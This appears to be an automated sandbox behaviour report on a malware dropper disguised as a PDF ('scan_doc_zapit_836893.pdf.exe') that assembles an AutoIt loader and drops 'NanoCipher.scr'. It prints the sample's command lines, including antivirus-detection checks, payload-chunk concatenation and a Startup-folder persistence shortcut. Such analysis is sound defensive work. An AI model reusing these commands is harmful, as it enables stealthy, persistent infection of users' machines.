Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: scan_doc_zapit_836893.pdf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AA8B75 push ecx; ret	11_2_00AA8B88
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00728B75 push ecx; ret	17_2_00728B88
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0071CBDB push eax; retf	17_2_0071CBF8
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0071CC06 push eax; retf	17_2_0071CBF8

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	File created: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\185027\Spy.pif			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	File created: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\185027\Spy.pif			Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NanoCipher.url

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NanoCipher.url

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

File deleted: c:\users\user\desktop\scan_doc_zapit_836893.pdf.exe

Jump to behavior

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: pdf.exe

Static PE information: scan_doc_zapit_836893.pdf.exe

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00B059B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	11_2_00B059B3
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00A95EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	11_2_00A95EDA
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_007859B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	17_2_007859B3
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00715EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	17_2_00715EDA

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Code function: 11_2_00AA33B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

11_2_00AA33B7

Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	API coverage: 5.1 %
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	API coverage: 4.7 %

Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr TID: 5580

Thread sleep count: 65 > 30

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AE4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00AE4005
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AE494A GetFileAttributesW,FindFirstFileW,FindClose,	11_2_00AE494A
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AE3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00AE3CE2
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AEC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_00AEC2FF
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AECD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	11_2_00AECD9F
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AECD14 FindFirstFileW,FindClose,	11_2_00AECD14
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AEF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_00AEF5D8
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AEF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_00AEF735
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AEFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_00AEFA36
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00764005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_00764005
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0076494A GetFileAttributesW,FindFirstFileW,FindClose,	17_2_0076494A
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0076C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	17_2_0076C2FF
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0076CD14 FindFirstFileW,FindClose,	17_2_0076CD14
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0076CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	17_2_0076CD9F
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0076F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_0076F5D8
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0076F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_0076F735
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0076FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	17_2_0076FA36
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00763CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_00763CE2

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Code function: 11_2_00A95D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

11_2_00A95D13

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\185027\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\185027	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Source: Spy.pif, 0000000B.00000002.3351472236.00000000016F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll3
Source: NanoCipher.scr, 00000011.00000002.3351187223.0000000001A70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe

API call chain: ExitProcess graph end node

graph_0-3677

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Code function: 11_2_00AF45D5 BlockInput,

11_2_00AF45D5

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Code function: 11_2_00A95240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

11_2_00A95240

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Code function: 11_2_00AB5CAC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

11_2_00AB5CAC

Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Code function: 11_2_00AD88CD GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

11_2_00AD88CD

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AAA385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00AAA385
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AAA354 SetUnhandledExceptionFilter,	11_2_00AAA354
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0072A354 SetUnhandledExceptionFilter,	17_2_0072A354
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0072A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_0072A385

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Code function: 11_2_00AD9369 LogonUserW,

11_2_00AD9369

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Code function: 11_2_00A95240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

11_2_00A95240

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Code function: 11_2_00AE1AC6 SendInput,keybd_event,

11_2_00AE1AC6

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Code function: 11_2_00AE51E2 mouse_event,

11_2_00AE51E2

Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Yes Yes.bat & Yes.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 185027	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "venezuelalandscapesmeantposters" Tournaments	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Martin + ..\Organizing + ..\Finnish + ..\Determined + ..\Already + ..\Presentations + ..\Hint H	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\185027\Spy.pif Spy.pif H	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr "C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr" "C:\Users\user\AppData\Local\NanoSec Cryptographics\o"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\nanocipher.url" & echo url="c:\users\user\appdata\local\nanosec cryptographics\nanocipher.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\nanocipher.url" & exit
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\nanocipher.url" & echo url="c:\users\user\appdata\local\nanosec cryptographics\nanocipher.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\nanocipher.url" & exit			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

11_2_00AD88CD

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Code function: 11_2_00AE4F1C AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

11_2_00AE4F1C

Source: scan_doc_zapit_836893.pdf.exe, 00000000.00000003.2103831695.000000000290D000.00000004.00000020.00020000.00000000.sdmp, Spy.pif, 0000000B.00000003.2151374293.000000000403E000.00000004.00000800.00020000.00000000.sdmp, Spy.pif, 0000000B.00000000.2143063108.0000000000B36000.00000002.00000001.01000000.00000006.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Spy.pif, NanoCipher.scr	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Code function: 11_2_00AA885B cpuid

11_2_00AA885B

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Code function: 11_2_00AC0030 GetLocalTime,__swprintf,

11_2_00AC0030

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Code function: 11_2_00AC0722 GetUserNameW,

11_2_00AC0722

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif

Code function: 11_2_00AB416A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

11_2_00AB416A

Source: C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: NanoCipher.scr	Binary or memory string: WIN_81
Source: NanoCipher.scr	Binary or memory string: WIN_XP
Source: NanoCipher.scr	Binary or memory string: WIN_XPe
Source: NanoCipher.scr	Binary or memory string: WIN_VISTA
Source: NanoCipher.scr	Binary or memory string: WIN_7
Source: NanoCipher.scr	Binary or memory string: WIN_8
Source: NanoCipher.scr.11.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 3USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AF696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	11_2_00AF696E
Source: C:\Users\user\AppData\Local\Temp\185027\Spy.pif	Code function: 11_2_00AF6E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	11_2_00AF6E32
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_0077696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	17_2_0077696E
Source: C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr	Code function: 17_2_00776E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	17_2_00776E32

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
